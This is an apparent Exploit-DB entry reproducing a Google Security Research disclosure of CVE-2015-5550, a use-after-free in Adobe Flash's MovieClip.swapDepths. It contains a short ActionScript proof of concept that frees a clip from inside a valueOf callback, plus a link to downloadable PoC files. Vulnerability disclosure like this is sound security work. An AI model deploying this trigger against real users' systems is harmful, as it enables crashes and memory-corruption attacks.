Adobe Flash - swapDepths Use-After-Free
Author: Google Security Research
type: dos
platform: multiple
port:
date_added: 2015-08-19
date_updated: 2015-08-19
verified: 1
codes: CVE-2015-5550
tags:
aliases:
screenshot_url:
application_url:
Source: https://code.google.com/p/google-security-research/issues/detail?id=403&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
There is a use-after-free in MovieClip.swapDepths, a POC is as follows:
var clip1 = this.createEmptyMovieClip("clip1", 1);
var clip2 = this.createEmptyMovieClip("clip2", 2);
var n = {valueOf: func, toString: func};
clip1.swapDepths(n);
function func(){
clip1.removeMovieClip();
//_root.createEmptyMovieClip("test", 1);
trace("here");
return "clip2";
}
A swf and fla are attached.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37871.zip